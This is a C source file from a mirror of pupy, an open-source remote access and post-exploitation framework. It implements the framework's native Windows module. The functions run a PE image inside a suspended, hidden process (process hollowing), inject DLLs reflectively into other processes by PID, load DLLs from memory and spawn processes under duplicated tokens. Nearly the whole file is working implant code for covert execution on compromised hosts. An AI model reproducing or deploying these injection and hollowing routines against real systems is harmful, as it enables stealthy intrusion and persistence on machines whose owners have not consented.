mirror of https://github.com/n1nj4sec/pupy.git
390 lines
13 KiB
C
390 lines
13 KiB
C
/*
|
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
|
*/
|
|
|
|
#include <windows.h>
|
|
|
|
#ifdef _PUPY_DYNLOAD
|
|
#include <Python.h>
|
|
#else
|
|
#include "Python-dynload.h"
|
|
#endif
|
|
|
|
#include "debug.h"
|
|
#include "MyLoadLibrary.h"
|
|
#include "base_inject.h"
|
|
#include "in-mem-exe.c"
|
|
|
|
#include "pupy_load.h"
|
|
|
|
static char module_doc[] = DOC("Builtins utilities for pupy");
|
|
|
|
#ifndef UINTPTR
|
|
#ifndef _WIN32
|
|
typedef DWORD UINTPTR;
|
|
#else
|
|
typedef ULONGLONG UINTPTR;
|
|
#endif
|
|
#endif
|
|
|
|
static PyObject *ExecError;
|
|
|
|
#include "revision.h"
|
|
|
|
static HINSTANCE hAppInstance = NULL;
|
|
static PyObject *Py_on_exit_session_callback = NULL;
|
|
static int is_shared = 0;
|
|
|
|
void on_exit_session(void) {
|
|
PyGILState_STATE gstate;
|
|
PyObject * pResult;
|
|
|
|
if (!Py_on_exit_session_callback)
|
|
return;
|
|
|
|
gstate = PyGILState_Ensure();
|
|
pResult = PyObject_CallObject(Py_on_exit_session_callback, NULL);
|
|
PyGILState_Release(gstate);
|
|
}
|
|
|
|
static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args)
|
|
{
|
|
PyObject *old = Py_on_exit_session_callback;
|
|
|
|
if (!PyArg_ParseTuple(args, "O", &Py_on_exit_session_callback))
|
|
return NULL;
|
|
|
|
Py_XINCREF(Py_on_exit_session_callback);
|
|
Py_XDECREF(old);
|
|
|
|
return PyBool_FromLong(1);
|
|
}
|
|
|
|
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
|
{
|
|
#ifdef _WIN64
|
|
return Py_BuildValue("s", "x64");
|
|
#else
|
|
return Py_BuildValue("s", "x86");
|
|
#endif
|
|
}
|
|
|
|
static PyObject *Py_mexec(PyObject *self, PyObject *args) {
|
|
PROCESS_INFORMATION pi;
|
|
STARTUPINFO si;
|
|
SECURITY_ATTRIBUTES saAttr = {
|
|
sizeof(SECURITY_ATTRIBUTES),
|
|
NULL,
|
|
TRUE
|
|
};
|
|
|
|
HANDLE g_hChildStd_IN_Rd = NULL;
|
|
HANDLE g_hChildStd_IN_Wr = NULL;
|
|
HANDLE g_hChildStd_OUT_Rd = NULL;
|
|
HANDLE g_hChildStd_OUT_Wr = NULL;
|
|
BOOL inherit = FALSE;
|
|
PyObject* py_redirect_stdio = NULL;
|
|
PyObject* py_hidden = NULL;
|
|
DWORD createFlags = CREATE_SUSPENDED|CREATE_NEW_CONSOLE;
|
|
char *cmd_line;
|
|
char *pe_raw_bytes;
|
|
int pe_raw_bytes_len;
|
|
|
|
#ifdef _WIN64
|
|
long long dupHandleAddressPLL = 0;
|
|
void **dupHandleAddress = NULL;
|
|
HANDLE dupHandle = NULL;
|
|
|
|
if (!PyArg_ParseTuple(
|
|
args,
|
|
"ss#|OOK",
|
|
&cmd_line, &pe_raw_bytes, &pe_raw_bytes_len,
|
|
&py_redirect_stdio, &py_hidden, &dupHandleAddressPLL))
|
|
// the address of the handle is directly passed with ctypes
|
|
return NULL;
|
|
|
|
dupHandleAddress = (void **) ((DWORD_PTR) dupHandleAddressPLL);
|
|
#else
|
|
PVOID dupHandleAddress = NULL;
|
|
HANDLE dupHandle = NULL;
|
|
|
|
if (!PyArg_ParseTuple(
|
|
args,
|
|
"ss#|OOI",
|
|
&cmd_line, &pe_raw_bytes, &pe_raw_bytes_len,
|
|
&py_redirect_stdio, &py_hidden, &dupHandleAddress))
|
|
// the address of the handle is directly passed with ctypes
|
|
return NULL;
|
|
#endif
|
|
|
|
memset(&si,0,sizeof(STARTUPINFO));
|
|
memset(&pi,0,sizeof(PROCESS_INFORMATION));
|
|
si.cb = sizeof(STARTUPINFO);
|
|
|
|
if(py_hidden && PyObject_IsTrue(py_hidden)){
|
|
si.dwFlags |= STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_HIDE;
|
|
createFlags |= CREATE_NO_WINDOW;
|
|
}
|
|
|
|
if (!py_redirect_stdio || PyObject_IsTrue(py_redirect_stdio)) {
|
|
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) {
|
|
return PyErr_Format(PyExc_Exception, "Error in CreatePipe (IN): Errno %d", GetLastError());
|
|
}
|
|
|
|
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) {
|
|
CloseHandle(g_hChildStd_IN_Rd);
|
|
CloseHandle(g_hChildStd_IN_Wr);
|
|
return PyErr_Format(PyExc_Exception, "Error in CreatePipe (OUT): Errno %d", GetLastError());
|
|
}
|
|
|
|
si.hStdInput = g_hChildStd_IN_Rd;
|
|
si.hStdOutput = g_hChildStd_OUT_Wr;
|
|
si.hStdError = g_hChildStd_OUT_Wr;
|
|
si.dwFlags |= STARTF_USESTDHANDLES;
|
|
inherit=TRUE;
|
|
}
|
|
|
|
if (!dupHandleAddress) {
|
|
if(!CreateProcess(NULL, cmd_line, &saAttr, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) {
|
|
CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
|
|
CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
|
|
|
|
return PyErr_Format(PyExc_Exception, "Error in CreateProcess: Errno %d", GetLastError());
|
|
}
|
|
|
|
} else {
|
|
dupHandle=(HANDLE) dupHandleAddress;
|
|
if (!CreateProcessAsUser(dupHandle, NULL, cmd_line, &saAttr,
|
|
NULL, inherit, createFlags, NULL, NULL, &si, &pi)) {
|
|
CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
|
|
CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
|
|
|
|
return PyErr_Format(
|
|
PyExc_Exception, "Error in CreateProcess: Errno %d dupHandle %x", GetLastError(),
|
|
dupHandle
|
|
);
|
|
}
|
|
}
|
|
|
|
CloseHandle(g_hChildStd_IN_Rd);
|
|
CloseHandle(g_hChildStd_OUT_Wr);
|
|
|
|
if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, pe_raw_bytes)) {
|
|
TerminateProcess(pi.hProcess, 1);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
|
|
CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
|
|
return PyErr_Format(PyExc_Exception, "Error in MapNewExecutableRegionInProcess: Errno %d", GetLastError());
|
|
}
|
|
|
|
if (ResumeThread(pi.hThread) == (DWORD)-1) {
|
|
TerminateProcess(pi.hProcess, 1);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(g_hChildStd_IN_Rd); CloseHandle(g_hChildStd_IN_Wr);
|
|
CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_OUT_Wr);
|
|
return PyErr_Format(PyExc_Exception, "Error in ResumeThread: Errno %d", GetLastError());
|
|
}
|
|
|
|
CloseHandle(pi.hThread);
|
|
|
|
return Py_BuildValue("(III)", pi.hProcess, g_hChildStd_IN_Wr, g_hChildStd_OUT_Rd);
|
|
}
|
|
|
|
|
|
static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
|
{
|
|
DWORD dwPid;
|
|
const char *lpDllBuffer;
|
|
DWORD dwDllLenght;
|
|
const char *cpCommandLine;
|
|
PyObject* py_is64bit;
|
|
int is64bits;
|
|
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
|
|
return NULL;
|
|
is64bits = PyObject_IsTrue(py_is64bit);
|
|
if(is64bits){
|
|
is64bits=PROCESS_ARCH_X64;
|
|
}else{
|
|
is64bits=PROCESS_ARCH_X86;
|
|
}
|
|
if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)
|
|
return NULL;
|
|
return PyBool_FromLong(1);
|
|
}
|
|
|
|
static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
|
{
|
|
DWORD dwPid;
|
|
const char *lpDllBuffer;
|
|
DWORD dwDllLenght;
|
|
|
|
const char *dllname;
|
|
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
|
|
return NULL;
|
|
|
|
return PyLong_FromVoidPtr(MyLoadLibrary(dllname, lpDllBuffer, NULL));
|
|
}
|
|
|
|
static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
|
|
{
|
|
const char *lpDllName = NULL;
|
|
const char *lpFuncName = NULL;
|
|
void *address = NULL;
|
|
|
|
if (PyArg_ParseTuple(args, "ss", &lpDllName, &lpFuncName)) {
|
|
address = MyFindProcAddress(lpDllName, lpFuncName);
|
|
}
|
|
|
|
return PyLong_FromVoidPtr(address);
|
|
}
|
|
|
|
static PyObject *Py_is_shared_object(PyObject *self, PyObject *args)
|
|
{
|
|
return PyBool_FromLong(is_shared);
|
|
}
|
|
|
|
static PyObject *Py_set_is_shared_object(PyObject *self, PyObject *arg0)
|
|
{
|
|
if (!is_shared && PyObject_IsTrue(arg0))
|
|
is_shared = 1;
|
|
|
|
return PyBool_FromLong(is_shared);
|
|
}
|
|
|
|
static PyObject *
|
|
import_module(PyObject *self, PyObject *args)
|
|
{
|
|
char *data;
|
|
int size;
|
|
char *initfuncname;
|
|
char *modname;
|
|
char *pathname;
|
|
//HMEMORYMODULE hmem;
|
|
HMODULE hmem;
|
|
FARPROC do_init;
|
|
|
|
ULONG_PTR cookie = 0;
|
|
char *oldcontext;
|
|
|
|
/* code, initfuncname, fqmodulename, path */
|
|
if (!PyArg_ParseTuple(args, "s#sss:import_module",
|
|
&data, &size,
|
|
&initfuncname, &modname, &pathname))
|
|
return NULL;
|
|
|
|
dprint(
|
|
"import_module(name=%s size=%d ptr=%p)\n",
|
|
pathname, size, data);
|
|
|
|
//try some windows manifest magic...
|
|
cookie = _My_ActivateActCtx();
|
|
hmem = MyLoadLibrary(pathname, data, NULL);
|
|
_My_DeactivateActCtx(cookie);
|
|
|
|
if (!hmem) {
|
|
PyErr_Format(PyExc_ImportError,
|
|
"MemoryLoadLibrary failed loading %s (err=%d)",
|
|
pathname, GetLastError());
|
|
return NULL;
|
|
}
|
|
|
|
do_init = MyGetProcAddress(hmem, initfuncname);
|
|
if (!do_init) {
|
|
MyFreeLibrary(hmem);
|
|
PyErr_Format(PyExc_ImportError,
|
|
"Could not find function %s", initfuncname);
|
|
return NULL;
|
|
}
|
|
|
|
oldcontext = _Py_PackageContext;
|
|
|
|
_Py_PackageContext = modname;
|
|
do_init();
|
|
_Py_PackageContext = oldcontext;
|
|
|
|
if (PyErr_Occurred())
|
|
return NULL;
|
|
|
|
/* Retrieve from sys.modules */
|
|
return PyImport_ImportModule(modname);
|
|
}
|
|
|
|
static PyMethodDef methods[] = {
|
|
{ "is_shared", Py_is_shared_object, METH_NOARGS, DOC("Client is shared object") },
|
|
{ "_set_shared", Py_set_is_shared_object, METH_NOARGS, DOC("") },
|
|
{ "get_arch", Py_get_arch, METH_NOARGS, DOC("get current pupy architecture (x86 or x64)") },
|
|
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS,
|
|
DOC("reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure") },
|
|
{ "mexec", Py_mexec, METH_VARARGS|METH_KEYWORDS, DOC("mexec(cmdline, raw_pe, redirected_stdio=True, hidden=True)") },
|
|
{ "import_module", import_module, METH_VARARGS,
|
|
"import_module(data, size, initfuncname, path) -> module" },
|
|
{ "load_dll", Py_load_dll, METH_VARARGS, DOC("load_dll(dllname, raw_dll) -> ptr") },
|
|
{ "set_exit_session_callback", Py_set_exit_session_callback, METH_VARARGS, DOC("set_exit_session_callback(function)")},
|
|
{ "find_function_address", Py_find_function_address, METH_VARARGS,
|
|
DOC("find_function_address(dllname, function) -> address") },
|
|
{ NULL, NULL }, /* Sentinel */
|
|
};
|
|
|
|
BOOL init_pupy(void)
|
|
{
|
|
PyObject *pupy = Py_InitModule3("_pupy", methods, module_doc);
|
|
if (!pupy) {
|
|
return FALSE;
|
|
}
|
|
|
|
PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD);
|
|
ExecError = PyErr_NewException("_pupy.error", NULL, NULL);
|
|
Py_INCREF(ExecError);
|
|
PyModule_AddObject(pupy, "error", ExecError);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#ifdef _PUPY_DYNLOAD
|
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|
{
|
|
DWORD threadId;
|
|
BOOL bReturnValue = TRUE;
|
|
|
|
dprint("Call DllMain (_pupy) %d/%p\n", dwReason, lpReserved);
|
|
|
|
switch( dwReason )
|
|
{
|
|
case DLL_QUERY_HMODULE:
|
|
if( lpReserved != NULL )
|
|
*(HMODULE *)lpReserved = hAppInstance;
|
|
break;
|
|
|
|
case DLL_THREAD_ATTACH:
|
|
break;
|
|
|
|
case DLL_PROCESS_ATTACH:
|
|
hAppInstance = hinstDLL;
|
|
if (lpReserved > 0xFFFF) {
|
|
_pupy_pyd_args_t *args =
|
|
(_pupy_pyd_args_t*) lpReserved;
|
|
|
|
if (args->pvMemoryLibraries) {
|
|
MySetLibraries(args->pvMemoryLibraries);
|
|
}
|
|
|
|
args->cbExit = on_exit_session;
|
|
args->blInitialized = TRUE;
|
|
}
|
|
return init_pupy();
|
|
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
dprint("Should not happen?\n");
|
|
return FALSE;
|
|
}
|
|
|
|
dprint("Call DllMain - completed\n");
|
|
return bReturnValue;
|
|
}
|
|
#endif
|